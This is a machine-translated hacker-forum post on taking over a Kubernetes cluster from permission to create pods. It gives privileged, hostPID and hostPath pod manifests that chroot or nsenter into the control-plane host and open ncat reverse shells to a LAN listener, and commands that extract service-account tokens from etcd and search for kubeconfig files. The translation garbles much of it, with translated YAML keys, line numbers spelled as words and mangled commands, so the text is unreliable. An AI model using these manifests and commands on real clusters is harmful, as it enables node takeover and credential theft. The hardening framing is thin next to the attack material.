KoreanHackerTeam
Moderator
Kubernetes Pod 横向移动
1 前言
이 기사에서는 침투 테스트 시나리오에서 공격자가 Kubernetes 클러스터에 포드를 만들 수있는 권한이있을 때 클러스터의 위험에 대해 설명합니다. 다른 솔루션은 포드를 통해 측면으로 움직이고 결국 다른 구성으로 클러스터를 인계 할 것을 제안합니다.2 摘要
회사의 보안 및 개인 정보 보호에 대한 회사의 설계 요구 사항에 따라 시스템 정보의 보안을 보장하기 위해 원칙 중 하나는 최소 권한의 원칙입니다. 즉, 각 사용자, 시스템 프로세스 또는 응용 프로그램은 작업을 완료하는 데 필요한 최소 권한을 사용하여 실행해야합니다. 구성된 권한이 필요한 권한을 초과하면 공격자는 이러한 시나리오를 사용하여 민감한 데이터를 얻거나 다른 시스템을 침범하거나 권한 에스컬레이션을 수행하여 현재 네트워크에서 수평으로 이동합니다.우리 모두 알다시피, Kubernetes의 배포와 DevOps의 구현 프로세스는 비교적 복잡합니다. 배치 중에 운영 및 유지 보수 직원의 운영은 종종 구성 오류로 이어지거나 "최소 권한 원칙"을 위반합니다. 이 기사는 부적절하게 구성된 권한을 통해 실제 시나리오에서 보안 감지를 우회하는 다양한 방법을 요약합니다. 동시에, 운영 및 유지 보수 직원은이 기사의 사례를 사용하여 Kubernetes의 구성을 확인하고 환경을 강화시켜 클러스터 보안 위험을 줄일 수 있습니다.
3 Kubernetes 提供的安全方案
은 포드를 구성 할 때 최소한의 권한 원칙을 사용하여 Kubernetes 보안 모범 사례를 언급합니다. 그러나 세밀한 보안 제어를 수행하는 방법과 각 속성의 위험을 평가하는 방법은 무엇입니까? Kubernetes는 위의 문제를 해결하는 다양한 방법을 제공합니다.podsecuritypolicy
다른 특수한 입학 제어 플러그인과 마찬가지로 PodsecurityPolicy는 내장 정책 API이며 PodsecurityPolicy는 POD 제작 및 업데이트에 대한 세밀한 승인을 제공 할 수 있습니다. 핵심은 런타임에 포드가 따라야하는 일련의 조건과 관련 필드의 기본값을 정의하는 것입니다. 포드가 이러한 조건을 충족 할 때만 K8S 클러스터에 의해 받아 들여질 것입니다.
OPA 게이트 키퍼
Kubernetes v1.25부터 PodsecurityPolicy (PSP) 승인 컨트롤러가 제거되었습니다. OPA (Open Policy Agent) : 정책을 코드에 쓸 수있는 오픈 소스, 보편적 정책 엔진입니다. 전략을 작성하고 복잡한 비즈니스 논리에서 의사 결정 단계를 분리하기 위해 고급 선언 언어를 제공하십시오. GateKeeper는 OPA를 기반으로 한 Kubernetes 정책 솔루션으로 PSP 또는 일부 RBAC 기능을 대체 할 수 있습니다. OPA 및 Kubernetes 도킹은 기본 레이어이며 사용자가 사용하기 편리하지 않기 때문에 커뮤니티는 OPA 엔진을 기반으로 OPA 게이트 키퍼 솔루션을 개발하여 사용하기 편리합니다. POD가 정책 수당을 초과 한 권한이 있으면 입학 컨트롤러는 POD가 클러스터에 들어가는 것을 거부 할 수 있습니다.
그러나 정책을 정의하고 실행하기위한 제어가 있더라도 운영 직원은 항상 각 특정 속성의 실제 보안 영향을 이해하지 못하며 POD 제작은 종종 필요에 따라 잠겨지지 않습니다. 침투 테스트 중에, 획득 된 쉘이 클러스터 포드 내에 있고 클러스터에 포드를 만들 수있는 권한이 있지만, 클러스터는 정책을 시행하지 않으므로 클러스터 제어 권한을 인수하는 것은 매우 간단합니다. 그러나 hostnetwork, hostpid, hostipc, hostpath 또는 privileged를 사용하여 현재 포드 아래에서 포드 만 만들 수 있다면 어떨까요? 다른 시나리오의 경우이 기사에서는 다양한 인수 옵션에 대해 설명합니다.
다양한 권한 개념 :
권한 : 특권 컨테이너는 호스트의 모든 기능이있는 컨테이너로 일반 컨테이너의 모든 제한을 제거합니다. 권한이있는 컨테이너는 커널 수정을위한 일부 작업을 포함하여 호스트에서 직접 수행 할 수있는 거의 모든 작업을 수행 할 수 있습니다. 예 : Calico 컨테이너, 시작시 컨테이너 초기화. 컨테이너 네트워크를 설정하려면 운영 체제의 장치 및 네임 스페이스를 수정해야합니다. 현재 권한있는 컨테이너가 필요합니다.
HostPid : 컨테이너는 호스트의 프로세스 네임 스페이스를 공유하며 컨테이너는 호스트에서 프로세스를 직접보고 작동 할 수 있습니다. 구체적으로, HostPid의 사용은 종종 호스트의 다른 프로세스를보기 위해 컨테이너 내에서 프로세스를 실행하는 것과 같은 특수한 사용 사례에 사용됩니다.
HostPath : 포드에서 로컬 파일 시스템을 사용할 수있는 Kubernetes의 핵심 개체 중 하나입니다. HostPath는 읽기 쓰기 및 읽기 전용 작업을 지원하고 풍부한 액세스 제어 옵션을 제공합니다.
호스트 네트워크 : 포드는 호스트 (노드) 네트워크 네임 스페이스를 직접 사용할 수 있습니다. POD가 호스트 네트워크를 활성화하면 호스트와 네트워크 스택을 공유하고 호스트의 네트워크 인터페이스 및 포트에 액세스 할 수 있습니다.
HostIPC : POD가 호스트의 IPC (프로세스 간 통신) 네임 스페이스를 공유 할 수 있는지 여부를 제어하는 POD 보안 컨텍스트 설정입니다.
4 不同权限下的场景讨论
4.1 所有权限均开放
생성 된 포드는 호스트의 파일 시스템을 포드에 장착합니다. K8S의 NodeName 선택기를 사용하여 제어판의 POD를 예약 할 수 있다면 POD에서 호스트 파일 시스템이 장착 된 디렉토리로 chroot. 마지막으로 포드를 실행하는 노드에서 루트 권한이 얻어집니다.ETCD 데이터베이스에서 주요 정보 읽기 - 공격자는 선택기에서 NodeName을 지정하여 지정된 노드 노드에서 POD를 만들 수 있습니다. ECTD 데이터베이스가 노드에 배포되면 클러스터, 키 등의 구성 정보를 포함하여 ETCD 데이터베이스의 내용을 읽을 수 있습니다.
권한이있는 서비스 계정 토큰 가져 오기 - 클러스터의 작업자 노드에서 포드를 예약 할 수 있더라도 작업자 노드의 POD에 장착 된 주요 정보를 읽을 수 있습니다. 프로덕션 클러스터에서 작업자 노드에서도 서비스 계정에 마운트 토큰이 장착 된 포드가 하나 이상 있습니다. 토큰의 권한이 더 높은 경우 공격자는 모든 네임 스페이스에서 포드를 만들 수있는 권한이 있습니다.
4.1.1 获取 shell
실험 환경에 대해 먼저 이야기하겠습니다.1
2
3
4
5
root@k8s-master: ~# kubectl 노드를 얻습니다
이름 상태 역할 연령 버전
K8S-Master Ready Control-Plane 2D19H V1.28.2
K8S-NODE1 Ready None 2D19H V1.28.4
K8S-NODE2 준비된 None 2D19H V1.28.2
현재 토큰이 소유 한 권한을 확인하십시오.
1
kubectl auth can-i-list--token=xxx

위의 방법을 구현하기위한 간단한 예 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
Apiversion: V1
Kind: 포드
메타 데이터 :
이름 : All-allowed-Exec-Pod
Labels:
APP: prod
SPEC:
hostnetwork: true
Hostpid: True
hostipc: true
컨테이너 :
-3: All-Hallowed-POD
image: 우분투
SecurityContext:
권한 : True
부피 :
-mountpath: /호스트
이름 : NODEROOT
Command: [ '/bin/sh', '-c', '-']
Args: [ ''사실; 30 세; 완료;' ]]
# 노드 선택기를 통해 K8S-Master 제어판에 예약 할 수 있습니다.
Nodename: K8S-Master
볼륨 :
-3: NODEROOT
호스트 경로 :
Path: /
포드 생성 :
1
2
kubectl apply -f allow_all.yaml
kubectl exec -it all-allowed-exec-pod-chroot /host bash

우리가있는 포드에 포드/exec 권한이없는 경우 쉘 리바운드 방법을 사용하여 쉘을 얻을 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
Apiversion: V1
Kind: 포드
메타 데이터 :
이름 : 모든 사람의 리브 쉘 포드
Labels:
APP: prod
SPEC:
hostnetwork: true
Hostpid: True
hostipc: true
컨테이너 :
-3: All-Hallowed-POD
Image: Raesene/NCAT
Command: [ '/bin/sh', '-c', '-']
ARGS: [ 'NCAT 192.168.88.139 4444 -E /BIN /BASH;' ]]
SecurityContext:
권한 : True
부피 :
-mountpath: /호스트
이름 : NODEROOT
Nodename: K8S-Master
볼륨 :
-3: NODEROOT
호스트 경로 :
Path: /

반동에 의해 얻은 쉘 :

4.1.2 后渗透
4.1.2.1 寻找 token
위와 같이 제어-패널 노드를 얻은 후 etcd의 데이터를 읽을 수 있습니다. 우아한 방법은 ECTD 클라이언트를 설치하여 연결하는 것입니다. 다음은 간단한 방법입니다.ETCD 데이터베이스 파일 경로보기 :
1
ps -ef | grep etcd | sed s/\-\-/\\ n/g | Grep Data-Dir

데이터베이스 파일 컨텐츠를 봅니다
1
문자열/var/lib/etcd/member/snap/db | 더 적은
데이터베이스에서 SA 이름을 가져 와서 토큰을 추출하십시오.
1
etcd=`strings/var/lib/etcd/member/snap/db`; x의`echo '$ etcd'| grep eyjhbgcioij`; 이름=`echo '$ etcd'| grep $ x -B40 | Grep Registry`; echo $ name \ | $ x; 에코; 완료

기본 토큰을 얻으십시오.
1
etcd=`strings/var/lib/etcd/member/snap/db`; x의`echo '$ etcd'| grep eyjhbgcioij`; 이름=`echo '$ etcd'| grep $ x -B40 | Grep Registry`; echo $ name \ | $ x; 에코; 완료 | Grep Kube-System | 그레프 기본값
포드에서 직접 장착 된 토큰을 봅니다
1
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Kubernetes 1.24에서 서비스를 작성하면 Serviceacouncount를 생성해도 비밀이 자동으로 생성되지 않습니다. 포드에서 얻은 토큰은 자동으로 생성 된 클러스터에 속하며 유효한 기간이 1h입니다.
4.1.2.2 寻找 kubeconfigs
Kubeconfig는 클러스터의 구성 파일입니다. 각 클러스터의 사용자는 다양한 클러스터 내장 또는 사용자 정의 된 역할을 통해 특정 권한을 바인딩합니다. KuberConfig 파일을 통해 모든 서버에서 Kubernetes 클러스터를 관리 할 수 있으며 Kubernetes 클러스터의 Kubectl 클라이언트 만 필요합니다.1
2
3
4
5
6
/-name kubeconfig를 찾으십시오
/-name kubelet.conf 찾기
ls /etc/kubernetes/admin.conf
/-name .kube 찾기
grep -r 'current -context' /home /
grep -r 'current -context' /root /

4.2 开放 Privileged HostPid 权限
이 경우 이전 시나리오에서 POD와 비교하여 유일한 변경 사항은 호스트에 대한 루트 액세스를 얻는 방법입니다. 공격자가 Chroot를 통해 호스트의 파일 시스템에 액세스 할 수 없으면 NSENTER를 사용하여 포드를 실행하는 노드에서 쉘 권한을 얻을 수 있습니다.NSENTER는 기존 네임 스페이스를 입력하는 데 사용되는 Linux 명령 줄 도구이며 지정된 프로세스의 명령 공간에서 지정된 명령을 실행할 수 있습니다. 네임 스페이스는 프로세스의 자원을 분리하는 데 사용되는 분리 메커니즘이며 컨테이너는 네임 스페이스를 통해 격리됩니다. NSENTER 명령을 사용하면 기존 네임 스페이스를 입력하고 해당 네임 스페이스에서 명령을 실행하거나 해당 상태를 볼 수 있습니다.
특권 : 컨테이너 레벨에서 True 컨테이너가 제공 해야하는 거의 모든 분리를 차단합니다. PID 네임 스페이스는 여전히 존재하는 몇 안되는 벽 중 하나입니다. 그러나 HostPid가 없으면 NSENTER를 사용하여 컨테이너 내에서 실행되는 프로세스 네임 스페이스를 입력 할 수 있습니다.
HostPid: True 및 Privileged: True가 모두 설정되면 POD는 호스트의 모든 프로세스를 볼 수 있으며 호스트의 Init System (PID 1)으로 이동하여 노드에서 쉘을 실행할 수 있습니다.
4.2.1 获取 shell
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Apiversion: V1
Kind: 포드
메타 데이터 :
NAME: Priv-HostPid-Exec-POD
Labels:
APP: prod
SPEC:
Hostpid: True
컨테이너 :
-3: Priv-HostPid-POD
image: 우분투
TTY: TRUE
SecurityContext:
권한 : True
command: [ 'nsenter', '-target', '1', '--mount', '--uts', '--ipc', '--- net', '-pid', '-'-'-', 'bash']
Nodename: K8S-Master
포드를 만든 후, 직접 Kubectl exec -it priv-HostPid-Exec-POD-Bash를 통해 호스트 루트 권한을 얻으십시오.
마찬가지로, 우리가있는 포드에 포드/exec 권한이없는 경우 쉘을 바운스하는 방법을 사용하여 쉘을 얻을 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Apiversion: V1
Kind: 포드
메타 데이터 :
이름 : Priv-HostPid-RevShell-POD
Labels:
APP: prod
SPEC:
Hostpid: True
컨테이너 :
-3: Priv-and-HostPid-POD
Image: Raesene/NCAT
SecurityContext:
권한 : True
Command: [ '/bin/sh', '-c']
Args: [ 'NCAT 192.168.88.138 4444 -e'/usr/bin/nsenter -target 1 --mount -uts --ipc -net -pid -/bin/bash '' ']]
Nodename: K8S-Master

4.2.2 后渗透
결제 후 부분에 대해서는 이전 장면을 참조하십시오. 여기에는 설명되지 않습니다.4.3 开放 Privilege 权限
권한 권한 만 있으면 클러스터 권한을 얻는 두 가지 방법이 있습니다.호스트 파일 시스템 마운트 : 권한이있는 모드에서 호스트의 /dev는 포드 내에서 액세스 할 수 있습니다. 마운트 명령을 사용하여 호스트 파일 시스템이 포함 된 디스크를 포드에 장착 할 수 있습니다. 그러나 일부 고급 경로의 경우 특권 포드 내에서 접근 할 수 없습니다.
CGROUP 취약점을 활용하십시오. Undock.sh와 같은 일부 익스플로잇 스크립트를 통해 루트 권한을 얻으십시오.
4.3.1 获取 shell
12
3
4
5
6
7
8
9
10
11
12
13
14
15
Apiversion: V1
Kind: 포드
메타 데이터 :
name: priv-exec-pod
Labels:
APP: prod
SPEC:
컨테이너 :
-3: priv-pod
image: 우분투
SecurityContext:
권한 : True
Command: [ '/bin/sh', '-c', '-']
Args: [ ''사실; 30 세; 완료;' ]]
Nodename: K8S-Master
마찬가지로, 우리가있는 포드에 포드/exec 권한이없는 경우 쉘을 바운스하는 방법을 사용하여 쉘을 얻을 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Apiversion: V1
Kind: 포드
메타 데이터 :
name: priv-revshell-pod
Labels:
APP: prod
SPEC:
컨테이너 :
-3: priv-pod
Image: Raesene/NCAT
SecurityContext:
권한 : True
Command: [ '/bin/sh', '-c', '-']
ARGS: [ 'NCAT 192.168.88.138 4444 -E /BIN /BASH;' ]]
Nodename: K8S-Master
4.3.2 后渗透
호스트 파일 시스템보기 :1
kubectl exec -it prib -exec -pod -fdisk -l

SDA3은 호스트의 파일 시스템이며 호스트의 파일 시스템을 직접 다루는 것을 알 수 있습니다.
1
2
kubectl exec -it priv-exec-pod-mkdir /host
kubectl exec -it prib -exec -pod -bash -c 'mount /dev /sda3 /host /'

그런 다음 토큰 등과 같은 이러한 파일 시스템에서 민감한 파일을 검색 할 수 있습니다.